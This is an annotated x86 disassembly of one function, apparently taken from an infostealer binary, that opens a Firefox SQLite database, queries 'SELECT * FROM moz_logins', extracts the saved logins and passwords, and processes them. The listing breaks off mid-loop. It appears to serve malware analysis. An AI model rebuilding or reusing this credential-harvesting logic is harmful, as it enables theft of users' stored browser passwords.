Function at 0x4063b0
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x1a8
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1a4], eax
push esi
xor eax, eax
mov dword [esp + 0x48], edx
push edi
xorps xmm0, xmm0
mov dword [esp + 0x154], 0
xor edi, edi
movlpd qword [esp + 0x158], xmm0
push str.___Getting_logins_from_database
push 3
mov esi, ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x44], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x34], edi
mov dword [esp + 0x70], edi
movaps xmmword [esp + 0x168], xmm0
movaps xmmword [esp + 0x178], xmm0
mov dword [esp + 0x188], eax
mov dword [esp + 0x40], edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x30], eax
movlpd qword [esp + 0x160], xmm0
call fcn.00408d60
push edi
push 6
lea edx, [esp + 0x28]
mov ecx, esi
call fcn.004aa170
mov edi, dword [esp + 0x28]
add esp, 0x10
test eax, eax
je 0x40658b
test edi, edi
jne 0x406476
mov eax, dword [str.out_of_memory]
mov esi, str.unknown_error
test eax, eax
cmovne esi, eax
jmp 0x406576
mov eax, dword [edi + 0x58]
cmp eax, 0x4b771290
je 0x4064d4
cmp eax, 0xa029a697
je 0x4064d4
cmp eax, 0xf03b7906
je 0x4064d4
push str.invalid
push str.API_call_with__s_database_connection_pointer
push 0x15
call fcn.00412760
add esp, 0xc
push 0x4d6ad4
push 0x23366
push str.misuse
push str._s_at_line__d_of___.10s_
push 0x15
call fcn.00412760
mov eax, dword [str.bad_parameter_or_other_API_misuse]
add esp, 0x14
test eax, eax
mov esi, str.unknown_error
cmovne esi, eax
jmp 0x406576
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x4064e8
push ecx
call dword [0x4d9af4]
mov ecx, dword [edi + 0xc]
add esp, 4
cmp byte [edi + 0x49], 0
je 0x4064ff
mov eax, dword [str.out_of_memory]
mov esi, str.unknown_error
test eax, eax
cmovne esi, eax
jmp 0x406568
mov esi, dword [edi + 0xf8]
test esi, esi
je 0x40653d
movzx edx, word [esi + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x406526
cmp byte [esi + 0xa], 1
jne 0x406526
mov esi, dword [esi + 0x10]
jmp 0x406539
test dl, 1
jne 0x40653d
mov dl, 1
mov ecx, esi
call fcn.00433b00
mov ecx, dword [edi + 0xc]
mov esi, eax
test esi, esi
jne 0x406568
mov eax, dword [edi + 0x38]
mov esi, str.unknown_error
cmp eax, 0x204
je 0x406563
movzx eax, al
cmp eax, 0x1b
jae 0x406568
mov eax, dword [eax*4 + 0x4cda30]
test eax, eax
je 0x406568
mov esi, eax
jmp 0x406568
mov esi, str.abort_due_to_ROLLBACK
test ecx, ecx
je 0x406576
push ecx
call dword [0x4d9afc]
add esp, 4
push esi
push str.sqlite3_open_fails_:__S_r_n
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x407a79
push 0
lea eax, [esp + 0x158]
mov dword [esp + 0x4c], edi
push eax
push 0
push 0x80
push 0x18
mov edx, str.SELECT__FROM_moz_logins
mov ecx, edi
call fcn.0047b460
mov esi, dword [esp + 0x168]
add esp, 0x14
mov dword [esp + 0x30], esi
test eax, eax
je 0x406710
test edi, edi
jne 0x4065dc
mov eax, dword [str.out_of_memory]
mov edi, str.unknown_error
test eax, eax
cmovne edi, eax
jmp 0x4066f0
mov eax, dword [edi + 0x58]
cmp eax, 0x4b771290
je 0x40663a
cmp eax, 0xa029a697
je 0x40663a
cmp eax, 0xf03b7906
je 0x40663a
push str.invalid
push str.API_call_with__s_database_connection_pointer
push 0x15
call fcn.00412760
add esp, 0xc
push 0x4d6ad4
push 0x23366
push str.misuse
push str._s_at_line__d_of___.10s_
push 0x15
call fcn.00412760
mov eax, dword [str.bad_parameter_or_other_API_misuse]
add esp, 0x14
test eax, eax
mov edi, str.unknown_error
cmovne edi, eax
jmp 0x4066f0
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x40664e
push ecx
call dword [0x4d9af4]
mov ecx, dword [edi + 0xc]
add esp, 4
cmp byte [edi + 0x49], 0
je 0x406665
mov eax, dword [str.out_of_memory]
mov edi, str.unknown_error
test eax, eax
cmovne edi, eax
jmp 0x4066e2
mov edi, dword [edi + 0xf8]
test edi, edi
jne 0x406675
mov eax, dword [esp + 0x48]
jmp 0x4066b7
movzx edx, word [edi + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x406696
cmp byte [edi + 0xa], 1
jne 0x406696
mov edi, dword [edi + 0x10]
mov eax, dword [esp + 0x48]
jmp 0x4066b3
test dl, 1
je 0x4066a1
mov eax, dword [esp + 0x48]
jmp 0x4066b7
mov dl, 1
mov ecx, edi
call fcn.00433b00
mov edi, eax
mov eax, dword [esp + 0x48]
mov ecx, dword [eax + 0xc]
test edi, edi
jne 0x4066e2
mov eax, dword [eax + 0x38]
mov edi, str.unknown_error
cmp eax, 0x204
je 0x4066dd
movzx eax, al
cmp eax, 0x1b
jae 0x4066e2
mov eax, dword [eax*4 + 0x4cda30]
test eax, eax
je 0x4066e2
mov edi, eax
jmp 0x4066e2
mov edi, str.abort_due_to_ROLLBACK
test ecx, ecx
je 0x4066f0
push ecx
call dword [0x4d9afc]
add esp, 4
push edi
push str.sqlite3_prepare_fails_:__S
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x4079a8
push 2
call fcn.00408d60
add esp, 8
nop
mov dword [esp + 0x18], 0
test esi, esi
je 0x40787e
cmp dword [esi], 0
jne 0x40673b
push str.API_called_with_finalized_prepared_statement
push 0x15
call fcn.00412760
add esp, 8
mov eax, 1
jmp 0x40673d
xor eax, eax
test eax, eax
jne 0x40788d
mov eax, dword [esi]
mov dword [esp + 0x20], eax
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40675c
push eax
call dword [0x4d9af4]
add esp, 4
and dword [esi + 0x94], 0xfffffffd
mov ecx, esi
call fcn.0043ace0
mov edi, eax
cmp edi, 0x11
jne 0x406a95
mov ecx, dword [esp + 0x18]
mov eax, ecx
inc ecx
mov dword [esp + 0x18], ecx
cmp eax, 0x32
jge 0x406a95
mov eax, dword [esi + 0x24]
lea edx, [esp + 0x6c]
mov ecx, dword [esi]
push 0
push edx
mov edx, dword [esi + 0xbc]
mov dword [esp + 0x48], eax
movzx eax, byte [esi + 0x90]
push esi
push eax
push 0xffffffffffffffff
mov dword [esp + 0x58], ecx
call fcn.0047b460
mov edi, eax
add esp, 0x14
mov dword [esp + 0x14], edi
test edi, edi
jne 0x4068ce
mov esi, dword [esp + 0x6c]
lea edi, [esp + 0x70]
mov ecx, 0x38
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x30]
mov ecx, 0x38
mov edi, dword [esp + 0x6c]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x30]
lea esi, [esp + 0x70]
mov ecx, 0x38
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x30]
mov edx, esi
mov edi, dword [esp + 0x6c]
mov eax, dword [esi + 8]
mov ecx, dword [edi + 8]
mov dword [edi + 8], eax
mov eax, dword [esi + 4]
mov dword [esi + 8], ecx
mov ecx, dword [edi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 0xbc]
mov dword [esi + 4], ecx
mov ecx, dword [edi + 0xbc]
mov dword [edi + 0xbc], eax
mov dword [esi + 0xbc], ecx
mov ecx, edi
mov eax, dword [edi + 0xd0]
mov dword [esi + 0xd0], eax
mov al, byte [edi + 0x90]
mov byte [esi + 0x90], al
movups xmm0, xmmword [edi + 0xa0]
movups xmmword [esi + 0xa0], xmm0
movq xmm0, qword [edi + 0xb0]
movq qword [esi + 0xb0], xmm0
mov eax, dword [edi + 0xb8]
mov dword [esi + 0xb8], eax
inc dword [esi + 0xb4]
call fcn.0043ce50
mov dword [edi + 0x28], 0
mov eax, dword [edi + 0x14]
cmp eax, 0x2df20da3
je 0x406892
cmp eax, 0x319c2973
jne 0x406899
mov ecx, edi
call fcn.00437690
mov ecx, edi
call fcn.00437c60
push esi
call fcn.00439fb0
add esp, 4
cmp dword [esp + 0x40], 0
jl 0x4068b7
or dword [esi + 0x94], 2
mov ecx, esi
call fcn.0043ace0
mov edi, eax
cmp edi, 0x11
je 0x406775
jmp 0x406a95
cmp edi, 7
jne 0x406900
mov eax, dword [esp + 0x44]
cmp byte [eax + 0x49], 0
jne 0x406900
cmp byte [eax + 0x4a], 0
jne 0x406900
cmp dword [eax + 0xac], 0
mov byte [eax + 0x49], 1
jle 0x4068fa
mov dword [eax + 0x100], 1
inc dword [eax + 0x108]
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0xf8]
test ecx, ecx
jne 0x406914
mov dword [esp + 0x24], ecx
jmp 0x406953
movzx edx, word [ecx + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x406935
cmp byte [ecx + 0xa], 1
jne 0x406935
mov edx, dword [ecx + 0x10]
mov dword [esp + 0x24], edx
jmp 0x40694f
test dl, 1
je 0x406944
mov dword [esp + 0x24], 0
jmp 0x40694f
mov dl, 1
call fcn.00433b00
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x20]
mov ecx, dword [esi + 0x6c]
mov dword [esp + 0x18], ecx
test ecx, ecx
je 0x406a00
cmp dword [eax + 0x1d0], 0
je 0x406979
mov edx, ecx
mov ecx, eax
call fcn.0040ffa0
jmp 0x4069fc
cmp ecx, dword [eax + 0x128]
jb 0x40699d
cmp ecx, dword [eax + 0x12c]
jae 0x40699d
mov eax, dword [eax + 0x124]
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
mov dword [eax + 0x124], ecx
jmp 0x4069fc
cmp dword [0x4d9a98], 0
je 0x4069f2
mov eax, dword [0x4defd8]
test eax, eax
je 0x4069bd
push eax
call dword [0x4d9af4]
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call dword [0x4d9ad0]
sub dword [0x4dede0], eax
add esp, 4
dec dword [0x4dee04]
push dword [esp + 0x18]
call dword [0x4d9ac8]
mov eax, dword [0x4defd8]
add esp, 4
test eax, eax
je 0x4069fc
push eax
call dword [0x4d9afc]
jmp 0x4069f9
push ecx
call dword [0x4d9ac8]
add esp, 4
mov dword [esp + 0x14], edi
mov ecx, dword [esp + 0x20]
cmp byte [ecx + 0x49], 0
jne 0x406a86
mov eax, dword [esp + 0x24]
test eax, eax
jne 0x406a1a
xor edx, edx
jmp 0x406a63
mov ecx, eax
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406a20
sub ecx, edx
push 0
lea eax, [ecx + 1]
mov ecx, dword [esp + 0x24]
push eax
mov dword [esp + 0x20], eax
call fcn.00410430
mov edx, eax
add esp, 8
mov dword [esp + 0x40], edx
test edx, edx
je 0x406a5f
push dword [esp + 0x18]
mov eax, dword [esp + 0x28]
push eax
push edx
call fcn.004ae080
mov edx, dword [esp + 0x4c]
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov dword [esi + 0x6c], edx
cmp byte [ecx + 0x49], 0
jne 0x406a7d
cmp edi, 0xc0a
je 0x406a7d
mov edi, dword [ecx + 0x3c]
and edi, dword [esp + 0x14]
jmp 0x406a92
call fcn.004108e0
mov edi, eax
jmp 0x406a92
mov dword [esi + 0x6c], 0
mov edi, 7
mov dword [esi + 0x28], edi
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x406aaa
push eax
call dword [0x4d9afc]
add esp, 4
cmp edi, 0x64
jne 0x4078ab
mov eax, dword [esp + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
test eax, eax
je 0x406ad2
push eax
call edi
dec dword [0x4de7b4]
mov dword [esp + 0x1c], 0
mov ecx, dword [esp + 0x34]
test ecx, ecx
je 0x406aeb
push ecx
call edi
dec dword [0x4de7b4]
mov dword [esp + 0x34], 0
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x406b06
push eax
call edi
dec dword [0x4de7b4]
xor eax, eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x64], eax
mov edi, dword [esp + 0x28]
test edi, edi
je 0x406b50
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x406b13
sub ecx, edx
mov eax, edi
sar ecx, 1
add ecx, ecx
je 0x406b3b
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x406b30
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
mov dword [esp + 0x28], 0
mov edi, dword [esp + 0x38]
test edi, edi
je 0x406b95
mov ecx, edi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x406b60
sub ecx, edx
mov eax, edi
sar ecx, 1
add ecx, ecx
je 0x406b80
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x406b75
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
mov dword [esp + 0x38], 0
mov edi, dword [esp + 0x2c]
test edi, edi
je 0x406bd2
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406ba2
mov eax, edi
sub ecx, edx
je 0x406bbb
nop
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x406bb0
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
xor edi, edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x68], edi
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x406be5
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x406c07
mov eax, 1
cmp ax, word [esi + 0x8c]
jae 0x406c07
add ecx, 0x28
jne 0x406c1f
xor edi, edi
mov dword [esp + 0x20], edi
jmp 0x406c5a
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx edx, word [ecx + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x406c40
cmp byte [ecx + 0xa], 1
jne 0x406c40
mov edi, dword [ecx + 0x10]
mov dword [esp + 0x20], edi
jmp 0x406c5a
test dl, 1
je 0x406c4d
xor edi, edi
mov dword [esp + 0x20], edi
jmp 0x406c5a
mov dl, 1
call fcn.00433b00
mov edi, eax
mov dword [esp + 0x20], eax
mov ecx, dword [esi]
cmp byte [ecx + 0x49], 0
jne 0x406c74
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x406c74
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x406c79
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x406c8f
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x406ca2
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x406cc5
mov eax, 6
cmp ax, word [esi + 0x8c]
jae 0x406cc5
add ecx, 0xf0
jne 0x406cdd
mov dword [esp + 0x14], ecx
jmp 0x406d14
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx edx, word [ecx + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x406cfa
cmp byte [ecx + 0xa], 1
jne 0x406cfa
mov eax, dword [ecx + 0x10]
jmp 0x406d10
test dl, 1
je 0x406d09
mov dword [esp + 0x14], 0
jmp 0x406d14
mov dl, 1
call fcn.00433b00
mov dword [esp + 0x14], eax
mov ecx, dword [esi]
cmp byte [ecx + 0x49], 0
jne 0x406d2e
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x406d2e
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x406d33
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x406d49
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x406d5c
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x406d7f
mov eax, 7
cmp ax, word [esi + 0x8c]
jae 0x406d7f
add ecx, 0x118
jne 0x406d97
mov dword [esp + 0x24], ecx
jmp 0x406dce
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx edx, word [ecx + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x406db4
cmp byte [ecx + 0xa], 1
jne 0x406db4
mov eax, dword [ecx + 0x10]
jmp 0x406dca
test dl, 1
je 0x406dc3
mov dword [esp + 0x24], 0
jmp 0x406dce
mov dl, 1
call fcn.00433b00
mov dword [esp + 0x24], eax
mov ecx, dword [esi]
cmp byte [ecx + 0x49], 0
jne 0x406de8
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x406de8
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x406ded
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x406e03
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x406e16
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x406e33
mov eax, 0xa
cmp ax, word [esi + 0x8c]
jae 0x406e33
add ecx, 0x190
jmp 0x406e4b
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx eax, word [ecx + 8]
test al, 4
je 0x406e5e
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
mov dword [esp + 0x44], edx
jmp 0x406e95
test al, 8
je 0x406e71
movsd xmm0, qword [ecx]
call fcn.004330b0
mov dword [esp + 0x44], edx
jmp 0x406e95
test al, 0x12
je 0x406e80
call fcn.004330e0
mov dword [esp + 0x44], edx
jmp 0x406e95
xorps xmm0, xmm0
movlpd qword [esp + 0x50], xmm0
mov eax, dword [esp + 0x54]
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x50]
mov ecx, dword [esi]
mov dword [esp + 0x40], eax
cmp byte [ecx + 0x49], 0
jne 0x406eb3
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x406eb3
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x406eb8
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x406ece
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x406ee1
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x406efe
mov eax, 0xc
cmp ax, word [esi + 0x8c]
jae 0x406efe
add ecx, 0x1e0
jmp 0x406f16
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx eax, word [ecx + 8]
test al, 4
je 0x406f29
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
mov dword [esp + 0x5c], edx
jmp 0x406f60
test al, 8
je 0x406f3c
movsd xmm0, qword [ecx]
call fcn.004330b0
mov dword [esp + 0x5c], edx
jmp 0x406f60
test al, 0x12
je 0x406f4b
call fcn.004330e0
mov dword [esp + 0x5c], edx
jmp 0x406f60
xorps xmm0, xmm0
movlpd qword [esp + 0x50], xmm0
mov eax, dword [esp + 0x54]
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x50]
mov ecx, dword [esi]
mov dword [esp + 0x60], eax
cmp byte [ecx + 0x49], 0
jne 0x406f7e
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x406f7e
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x406f83
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x406f99
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x406fac
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x406fc9
mov eax, 0xd
cmp ax, word [esi + 0x8c]
jae 0x406fc9
add ecx, 0x208
jmp 0x406fe1
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx eax, word [ecx + 8]
test al, 4
je 0x406ff8
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
mov dword [esp + 0x18], edx
mov dword [esp + 0x54], eax
jmp 0x40702b
test al, 8
je 0x40700b
movsd xmm0, qword [ecx]
call fcn.004330b0
mov dword [esp + 0x54], edx
jmp 0x407027
test al, 0x12
je 0x40701a
call fcn.004330e0
mov dword [esp + 0x54], edx
jmp 0x407027
xorps xmm0, xmm0
movlpd qword [esp + 0x50], xmm0
mov eax, dword [esp + 0x50]
mov dword [esp + 0x18], eax
mov ecx, dword [esi]
cmp byte [ecx + 0x49], 0
jne 0x407045
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x407045
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x40704a
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x407060
push eax
call dword [0x4d9afc]
add esp, 4
cmp dword [esp + 0x14], 0
je 0x407874
cmp dword [esp + 0x24], 0
je 0x407874
lea ecx, [edi + 1]
nop dword [eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x407080
sub edi, ecx
mov dword [esp + 0x2c], 0
cmp dword [esp + 0x20], 0
je 0x407201
lea eax, [edi*2 + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov edx, eax
mov dword [esp + 0x1c], edx
test edx, edx
jne 0x4070db
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_allocating_memory:0x_X
push 1
call fcn.00408d60
mov eax, dword [esp + 0x38]
add esp, 0xc
jmp 0x4071e7
xor ecx, ecx
test edi, edi
je 0x4071e2
cmp edi, 4
jb 0x4071c6
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 0x30]
lea eax, [edx - 1]
add eax, edi
cmp dword [esp + 0x1c], eax
ja 0x407113
mov eax, dword [esp + 0x1c]
add eax, 0xfffffffe
lea eax, [eax + edi*2]
cmp eax, edx
jae 0x4071c2
cmp edi, 0x20
jb 0x407193
mov eax, edi
add edx, 0x10
and eax, 0xffffffe0
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x1c]
add eax, 0x20
nop dword [eax + eax]
movq xmm0, qword [edx - 0x10]
lea eax, [eax + 0x40]
punpcklbw xmm0, xmm0
lea edx, [edx + 0x20]
psraw xmm0, 8
add ecx, 0x20
movups xmmword [eax - 0x60], xmm0
movq xmm0, qword [edx - 0x28]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x50], xmm0
movq xmm0, qword [edx - 0x20]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x40], xmm0
movq xmm0, qword [edx - 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x30], xmm0
cmp ecx, dword [esp + 0x2c]
jb 0x407130
mov eax, edi
and al, 0x1f
cmp al, 4
jb 0x4071be
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 0x1c]
mov eax, edi
and eax, 0xfffffffc
nop dword [eax]
movd xmm0, dword [ecx + edx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movq qword [esi + ecx*2], xmm0
add ecx, 4
cmp ecx, eax
jb 0x4071a0
mov esi, dword [esp + 0x30]
cmp ecx, edi
jae 0x4071e2
mov edx, dword [esp + 0x1c]
mov esi, dword [esp + 0x20]
nop word [eax + eax]
movsx ax, byte [ecx + esi]
mov word [edx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x4071d0
mov esi, dword [esp + 0x30]
mov eax, 1
test eax, eax
jne 0x407210
push str.Error_assigning_strings
push 2
call fcn.00408d60
mov eax, dword [esp + 0x24]
mov dword [esp + 0x24], eax
jmp 0x40720d
push str.NULL_parameter
push 2
call fcn.00408d60
add esp, 8
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x64]
call fcn.00405350
mov eax, dword [esp + 0x64]
mov dword [esp + 0x3c], eax
test eax, eax
je 0x4073a2
mov edi, eax
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x407232
sub edi, ecx
lea eax, [edi*2 + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov edx, eax
mov dword [esp + 0x34], edx
test edx, edx
jne 0x407295
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_allocating_memory:0x_X
push 1
call fcn.00408d60
add esp, 0xc
push str.Cannot_set_login
push 2
call fcn.00408d60
mov eax, dword [esp + 0x3c]
add esp, 8
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x1c], eax
jmp 0x4073a2
xor ecx, ecx
test edi, edi
je 0x4073a2
cmp edi, 4
jb 0x407386
mov eax, dword [esp + 0x3c]
lea edx, [edx + edi*2]
mov esi, dword [esp + 0x30]
dec eax
add eax, edi
add edx, 0xfffffffe
cmp dword [esp + 0x34], eax
ja 0x4072c9
cmp edx, dword [esp + 0x3c]
jae 0x407382
cmp edi, 0x20
jb 0x40734f
mov edx, dword [esp + 0x3c]
mov eax, edi
and eax, 0xffffffe0
add edx, 0x10
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x34]
add eax, 0x20
nop dword [eax]
movq xmm0, qword [edx - 0x10]
lea eax, [eax + 0x40]
punpcklbw xmm0, xmm0
lea edx, [edx + 0x20]
psraw xmm0, 8
add ecx, 0x20
movups xmmword [eax - 0x60], xmm0
movq xmm0, qword [edx - 0x28]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x50], xmm0
movq xmm0, qword [edx - 0x20]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x40], xmm0
movq xmm0, qword [edx - 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x30], xmm0
cmp ecx, dword [esp + 0x14]
jb 0x4072f0
mov eax, edi
and al, 0x1f
cmp al, 4
jb 0x40737e
mov edx, dword [esp + 0x3c]
mov eax, edi
mov esi, dword [esp + 0x34]
and eax, 0xfffffffc
nop dword [eax]
movd xmm0, dword [ecx + edx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movq qword [esi + ecx*2], xmm0
add ecx, 4
cmp ecx, eax
jb 0x407360
mov esi, dword [esp + 0x30]
cmp ecx, edi
jae 0x4073a2
mov edx, dword [esp + 0x34]
mov esi, dword [esp + 0x3c]
nop word [eax + eax]
movsx ax, byte [ecx + esi]
mov word [edx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x407390
mov esi, dword [esp + 0x30]
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x68]
call fcn.00405350
mov eax, dword [esp + 0x68]
mov dword [esp + 0x2c], eax
test eax, eax
je 0x407534
mov edi, eax
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x4073c4
sub edi, ecx
lea eax, [edi*2 + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov edx, eax
mov dword [esp + 0x28], edx
test edx, edx
jne 0x407424
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_allocating_memory:0x_X
push 1
call fcn.00408d60
add esp, 0xc
push str.Cannot_set_p_data
push 2
call fcn.00408d60
mov edi, dword [esp + 0x30]
mov dword [esp + 0x30], edi
mov edi, dword [esp + 0x24]
mov dword [esp + 0x24], edi
jmp 0x40670c
xor ecx, ecx
test edi, edi
je 0x407538
cmp edi, 4
jb 0x407516
mov eax, dword [esp + 0x2c]
lea edx, [edx + edi*2]
mov esi, dword [esp + 0x30]
dec eax
add eax, edi
add edx, 0xfffffffe
cmp dword [esp + 0x28], eax
ja 0x407458
cmp edx, dword [esp + 0x2c]
jae 0x407512
cmp edi, 0x20
jb 0x4074e2
mov edx, dword [esp + 0x2c]
mov eax, edi
and eax, 0xffffffe0
add edx, 0x10
mov dword [esp + 0x154], eax
mov eax, dword [esp + 0x28]
add eax, 0x20
nop dword [eax + eax]
movq xmm0, qword [edx - 0x10]
lea eax, [eax + 0x40]
punpcklbw xmm0, xmm0
lea edx, [edx + 0x20]
psraw xmm0, 8
add ecx, 0x20
movups xmmword [eax - 0x60], xmm0
movq xmm0, qword [edx - 0x28]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x50], xmm0
movq xmm0, qword [edx - 0x20]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x40], xmm0
movq xmm0, qword [edx - 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x30], xmm0
cmp ecx, dword [esp + 0x154]
